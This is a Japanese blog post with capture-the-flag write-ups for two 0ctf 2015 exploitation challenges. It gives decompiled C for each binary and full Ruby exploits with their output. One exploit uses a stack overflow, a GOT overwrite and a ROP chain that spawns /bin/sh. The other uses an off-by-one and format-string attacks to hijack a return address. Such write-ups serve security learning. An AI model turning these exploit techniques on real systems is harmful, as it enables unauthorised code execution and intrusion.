しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

0ctf 2015 write up

0ctf 2015に参加しました。

580ptの83位でした(´∀`)

r0opsとfreenoteに時間を取られたのが勿体なかった(´・ω・`)

サービス問題以外で解けた2問のwrite upを置いておきますー。


FlagGenerator(Exploit:250)

フラグ生成用の文字列加工サービス。

== 0ops Flag Generator ==
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit
=========================

まずは下調べ。

sss@sss-virtual-machine:~/ctf/others$ file flagen
flagen: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=f8fa84729b36505a2a87b21e99da0c1c814ca2c2, stripped
sss@sss-virtual-machine:~/ctf/others$ ../tools/checksec.sh --file flagen
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   flagen

一部をCに直すとこんな感じ。

void setup(){
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    alarm(60);
    return;
}

int read_str(char *buffer, int length){
    int i;  //ebp-0x10
    int var_c;  //ebp-0xc

    if(length <= 0){
        return 0;
    }

    for(i = 0; i < length - 1; i++){
        var_c = read(0, &buffer[i], 1);
        if(var_c <= 0 || buffer[i] == '\n'){
            break;
        }
    }
    buffer[i] = '\0';
    return i;
}

char *read_flag(int length){
    char *ptr;  //ebp-0xc

    ptr = malloc(length);
    read_str(ptr, length);
    return ptr;
}

int read_int(){
    char buf[32];  //ebp-0x2c
    int canary;  //ebp-0xc

    read_str(buf, 32);

    return atoi(buf);
}

void uppercase(char *str){
    char *var_110;  //ebp-0x110
    char buffer[256];  //ebp-0x10c
    int canary;  //ebp-0xc

    strcpy(buffer, str);
    var_110 = buffer;

    while(*var_110 != '\0'){
        if('a' <= *var_110 && *var_110 <= 'z'){
            *var_110 &= 0xdf;
        }
        var_110++;
    }
    strcpy(str, buffer);

    return;
}

void leetify(char *str){
    char *var_114;  //ebp-0x114
    char *var_110;  //ebp-0x110
    char leet_str[256];  //ebp-0x10c
    int canary;  //ebp-0xc

    var_114 = leet_str;
    var_110 = str;

    while(*var_110 != '\0'){
        switch(*var_110){
            case 'a':
            case 'A':
                *(var_114++) = '4';
                break;
            case 'b':
            case 'B':
                *(var_114++) = '8';
                break;
            case 'e':
            case 'E':
                *(var_114++) = '3';
                break;
            case 'h':
            case 'H'
                *(var_114++) = '1';
                *(var_114++) = '-';
                *(var_114++) = '1';
                break;
            case 'i':
            case 'I':
                *(var_114++) = '!';
                break;
            case 'l':
            case 'L':
                *(var_114++) = '1';
                break;
            case 'o':
            case 'O':
                *(var_114++) = '0';
                break;
            case 's':
            case 'S':
                *(var_114++) = '8';
                break;
            case 't':
            case 'T':
                *(var_114++) = '7';
                break;
            case 'z':
            case 'Z':
                *(var_114++) = '2';
                break;
            default:
                *(var_114++) = *var_110;
                break;
        }
        var_110++;
    }
    *var_114 = '\0';
    strcpy(str, leet_str);

    return;
}

void add_prefix(char *str){
    char buffer[256];  //ebp-0x10c
    int canary;  //ebp-0xc

    snprintf(buffer, 255, "0ctf{%s", str);
    buffer[strlen(buffer)] = '}';
    strcpy(str, buffer);

    return;
}

int main(){
    char *ptr_flag;
    int selection;

    setup();
    ptr_flag = NULL;

    while(1){
        selection = ShowMenu();
        switch(selection){
            case 1:
                if(ptr_flag != NULL){
                    free(ptr_flag);
                }
                ptr_flag = read_flag(256);
                puts("Done.");
                break;
            case 2:
                if(ptr_flag != NULL){
                    uppercase(ptr_flag);
                }
                puts("Done.");
                break;
            case 3:
                if(ptr_flag != NULL){
                    lowercase(ptr_flag);
                }
                puts("Done.");
                break;
            case 4:
                if(ptr_flag != NULL){
                    leetify(ptr_flag);
                }
                puts("Done.");
                break;
            case 5:
                if(ptr_flag != NULL){
                    add_prefix(ptr_flag);
                }
                puts("Done.");
                break;
            case 6:
                if(ptr_flag == NULL){
                    puts("You have to input flag first!");
                }else{
                    printf("The flag is %s\n", ptr_flag);
                    free(ptr_flag);
                    ptr_flag = NULL;
                    puts("Done.");
                }
            case 7:
                puts("Bye");
                return 0;
            default:
                puts("Invalid!");
                break;
        }
    }
}

leetifyでは特定のアルファベットを別の文字に置換する処理をしており、
基本的には1文字 対 1文字の置換になっているが、hの場合のみ1文字 対 3文字の置換になっている。

従って、leetify後の文字列の長さは文字列の元々の長さ + 文字列内のhの個数 * 2になるわけだが、
作業領域(leet_str)のサイズがそのことを考慮したサイズになっていないので、
長い文字列にhを含めることでバッファオーバフローを起こせる。

例:"H"*4+"A"*250を入力した場合
== 0ops Flag Generator ==
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit
=========================
Your choice: 1
HHHHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Done.
== 0ops Flag Generator ==
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit
=========================
Your choice: 4
*** stack smashing detected ***: flagen terminated  ←バッファオーバフローが起きた

leetifyの最後にあるstrcpyleetifyの引数をそのまま使っているため、
スタックを破壊すればこのstrcpyを自由にコントロールできる。
そして、このstrcpy__stack_chk_failのGOT overwriteをすればスタックカナリアは無効化できる。

ということで、

  • スタックカナリアstrcpy時に__stack_chk_failのGOT overwriteをすることで無効化
  • 以下のROPを組む
puts(0x0804b00c);  //leak read@got.plt
read_str(0x0804b01c, 0x01010101);  //overwrite __stack_chk_fail@got.plt to system
read_str(0x0804b001, 0x01010101);  //read "/bin/sh" to 0x0804b001
system(0x0804b001);  //run shell

という方針で攻略した。

#coding:ascii-8bit
#flagen.rb
require_relative "../pwnlib"

PwnTube.open("202.112.26.106", 5149){|tube|
    tube.wait_time = 1
    sleep(2)

    gadget_ret = 0x0804873d
    gadget_pop1 = 0x08048481
    gadget_pop2 = 0x08048d8e
    got_stack_chk_fail = 0x0804b01c
    got_read = 0x0804b00c
    puts_address = 0x08048510
    read_str_address = 0x080486cb
    bin_sh_address = 0x0804b001
    stack_chk_fail_address = 0x080484e0

    puts "[*] input flag"
    tube.send("1\n")
    payload = ""
    stack = ""
    stack << [gadget_pop1].pack("L")  #return address from leetify
    stack << [got_stack_chk_fail].pack("L")  #overwrite leetify's arg1
    stack << [puts_address].pack("L")  #return address from gadget_pop1
    stack << [gadget_pop1].pack("L")  #return address from puts
    stack << [got_read].pack("L")  #puts's arg1
    stack << [read_str_address].pack("L")  #return address from gadget_pop1
    stack << [gadget_pop2].pack("L")  #return address from read_str
    stack << [got_stack_chk_fail, 0x01010101].pack("L*")  #read_str's arg1, arg2
    stack << [read_str_address].pack("L")  #return address from gadget_pop2
    stack << [gadget_pop2].pack("L")  #return address from read_str
    stack << [bin_sh_address, 0x01010101].pack("L*")  #read_str's arg1, arg2
    stack << [stack_chk_fail_address].pack("L")  #return address from gadget_pop2(system)
    stack << [0xdeadbeef].pack("L")  #dummy
    stack << [bin_sh_address].pack("L")  #system's arg1
    payload << [gadget_ret].pack("L")
    payload << "H" * ((stack.length + 2 + 16) / 2)
    payload << "A" * (254 - payload.length - stack.length)
    payload << stack
    tube.send(payload + "\n")

    puts "[*] leetify(trigger ROP)"
    tube.recv
    tube.send("4\n")

    puts "[*] get libc base"
    libc_read = tube.recv[0...4].unpack("L")[0]
    libc_base = libc_read - 0xdabd0
    printf("libc base = 0x%08x\n", libc_base)

    puts "[*] overwrite got"
    payload = ""
    payload << [libc_base + 0x40190].pack("L")
    tube.send(payload + "\n")

    puts "[*] send \"/bin/sh\""
    tube.send("/bin/sh\n")

    tube.interactive
}
$ ruby flagen.rb
[*] input flag
[*] leetify(trigger ROP)
[*] get libc base
libc base = 0xf758c000
[*] overwrite got
[*] send "/bin/sh"
[*] interactive mode
id
uid=1001(flagen) gid=1001(flagen) groups=1001(flagen)
(フラグの場所探しは省略)
cat /home/flagen/flag
0ctf{delicious_stack_cookie_generates_flag}
exit
[*] end interactive mode

FLAG:0ctf{delicious_stack_cookie_generates_flag}

Login(Exploit:300)

謎のログインシステム。

Login: guest
Password: guest123
== 0CTF Login System ==
1. Show Profile
2. Login as User
3. Logout
=======================

下調べ。

sss@sss-virtual-machine:~/ctf/others$ file login
login: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=aaf466b83156cb16970b254de9d45994bef6e9f9, stripped
sss@sss-virtual-machine:~/ctf/others$ ../tools/checksec.sh --file login
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   login

なぜかchecksec.shで出てきていないが、PIEも有効。

Cに直すとこんな感じ。

typedef struct{
    char username[256];  //base+0x0
    int isGuest;  //base+0x100
} Account;

Account account;  //0x202040

void setup(){  //0xd8b
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    alarm(60);
}

int read_str(char *_buffer, int _length){  //0xcb5
    int length = _length;  //rbp-0x1c
    char *buffer = _buffer;  //rbp-0x18
    int i;  //rbp-0x8
    int var_4;  //rbp-0x4

    if(length <= 0){
        return 0;
    }

    for(i = 0; i < length - 1; i++){
        var_4 = read(0, &buffer[i], 1);
        if(var_4 <= 0 || buffer[i] == '\n'){
            break;
        }
    }
    buffer[i] = '\0';

    return i;
}

int read_int(){  //0xd3a
    char buffer[];  //rbp-0x20
    long canary;  //rbp-0x8

    scanf("%10s", buffer);
    return atoi(buffer);
}

void login(){  //0xe3a
    char username[];  //rbp-0x80
    char password[];  //rbp-0x40
    long canary;  //rbp-0x8

    printf("Login: ");
    scanf("%32s", username);
    printf("Password: ");
    scanf("%32s", password);

    if(strcmp(username, "guest") != 0 || strcmp(password, "guest123") != 0){
        puts("Invalid username or password.");
        exit(0);
    }

    strcpy(account.username, username);
    account.isGuest = 1;

    return;
}

int show_menu(){  //0xddd
    puts("== 0CTF Login System ==");
    puts("1. Show Profile");
    puts("2. Login as User");
    puts("3. Logout");
    puts("=======================");
    printf("Your choice: ");
    return read_int();
}

void show_profile(){  //0xf24
    printf("Username: %s\n", account.username);
    printf("Level: %s\n", account.isGuest ? "Guest" : "Normal User");

    return;
}

void login_as_user(){  //0xf7a
    puts("Enter your new username:");
    scanf("%256s", account.username);  //最後のnull文字は256のうちに入らない
    puts("Done.");

    return;
}

void print_flag(){  //0xfb3
    int fd;  //rbp-0x118
    int var_114;  //rbp-0x114
    char buffer[];  //rbp-0x110
    long canary;  //rbp-0x8

    fd = open("flag", 0);
    var_114 = read(fd, buffer, 256);
    if(var_114 > 0){
        write(1, buffer, var_114);
    }

    exit(0);
}

void login_as_root(){  //0x103b
    char md5[16];  //rbp-0x220
    char username[];  //rbp-0x210
    char password[];  //rbp-0x110
    long canary;  //rbp-0x8

    printf("Login: ");
    read_str(username, 256);
    printf("Password: ");
    read_str(password, 256);

    MD5(password, strlen(password), md5);

    if(strcmp(username, "root") == 0 && memcmp(md5, "0ops{secret_MD5}", 16) == 0){
        print_flag();
        return;
    }

    printf(username);
    puts(" login failed.");
    puts("1 chance remaining.");

    printf("Login :");
    read_str(username, 256);
    printf("Password: ");
    read_str(password, 256);

    MD5(password, strlen(password), md5);

    if(strcmp(username, "root") == 0 && memcmp(md5, "0ops{secret_MD5}", 16) == 0){
        print_flag();
        return;
    }

    printf(username);
    puts(" login failed.");
    puts("Threat detected. System shutdown.");
    exit(1);
}

int main(){
    int selectiion;  //rbp-0x4

    setup();
    login();

    while(1){
        selection = show_menu();
        switch(selection){
            case 1:
                show_profile();
                break;
            case 2:
                login_as_user();
                break;
            case 3:
                puts("Bye");
                return 0;
            case 4:
                if(account.isGuest){
                    puts("Invalid!");
                }else{
                    login_as_root();
                }
                break;
            default:
                puts("Invalid!");
                break;
        }
    }
}
  • 最初のログイン認証はguest/guest123でOK
  • show_menuで表示される選択肢は1~3だが、隠し選択肢として4も選べる
    このとき、Normal Userになっていればlogin_as_rootが呼ばれる
  • login_as_root内でのログイン認証でrootでログインできればprint_flagでフラグが出力される
    ……が、MD5値的にrootで認証させる気はゼロ

まず、account.isGuestが0になっていないとlogin_as_rootを呼び出せないので、これを0にする方法を考える。

これは簡単。
login_as_user内のscanfの書式文字列が"%256s"になっているので、
ここで256文字入力すればaccount.isGuestの下位1バイト目がscanfの最後のNULLバイトで上書きされる。

Login: guest
Password: guest123
== 0CTF Login System ==
1. Show Profile
2. Login as User
3. Logout
=======================
Your choice: 1
Username: guest
Level: Guest
== 0CTF Login System ==
1. Show Profile
2. Login as User
3. Logout
=======================
Your choice: 2
Enter your new username:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Done.
== 0CTF Login System ==
1. Show Profile
2. Login as User
3. Logout
=======================
Your choice: 1
Username: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Level: Normal User  ←account.isGuestが0になっている

次に、login_as_root内でフラグを出力させる方法を考える。

コードを見てみるとprintf(username);が2回あるので、format string attackが2回できる。

  • %74$plogin_as_rootのsaved ebpリーク
  • %75$pで本体のベースアドレスリーク
  • %8$pでusernameの先頭にアクセスできる
  • %40$pでpasswordの先頭にアクセスできる

Full RELROなのでGOT overwriteはできないが、
login_as_rootのsaved ebpから逆算すれば、login_as_root内の関数呼び出しからのリターンアドレスの場所が分かる。

ということで、

  1. 1回目のprintflogin_as_rootのsaved ebpと本体のベースアドレスをリークさせる
  2. 2回目のprintfprintfからのリターンアドレスをprint_flagのアドレスに書き換える

という方針で攻略した。

#coding:ascii-8bit
#login.rb
require_relative "../pwnlib"

def build_format_string(base, data, index)
    current = base.length
    result = ""
    data.bytes.each{|b|
        if current != b
            result << "%#{(b - current + 256) % 256}c"
            current = b
        end
        result << "%#{index}$hhn"
        index += 1
    }

    return result
end

PwnTube.open("202.112.26.107", 10910){|tube|
    tube.wait_time = 0.5
    sleep(1)

    puts "[*] login"
    tube.send("guest\n")
    tube.send("guest123\n")

    puts "[*] login as user"
    tube.send("2\n")
    tube.send("A" * 256 + "\n")

    puts "[*] enter to secret menu"
    tube.send("4\n")
    tube.recv

    puts "[*] leak addresses"
    tube.send("%74$p %75$p\n")
    tube.send("a\n")
    saved_ebp, base_address = tube.recv.scan(/0x[0-9a-f]+/).map{|a| a.to_i(16)}
    base_address -= 0x12d3
    printf("saved ebp = %016x\n", saved_ebp)
    printf("base address = %016x\n", base_address)

    printf_saved_eip = saved_ebp - 0x240 - 8

    puts "[*] overwrite saved eip"
    payload = build_format_string("", [base_address + 0xfb3].pack("Q"), 40)
    tube.send(payload + "\n")
    payload = (printf_saved_eip...printf_saved_eip+8).to_a.pack("Q*")
    tube.send(payload + "\n")

    puts tube.recv.match(/0ctf{.+?}/).to_s
}
$ ruby login.rb
[*] connected
[*] login
[*] login as user
[*] enter to secret menu
[*] leak addresses
saved ebp = 00007fffa7214660
base address = 00007f2ab17a5000
[*] overwrite saved eip
0ctf{login_success_and_welcome_back}

FLAG:0ctf{login_success_and_welcome_back}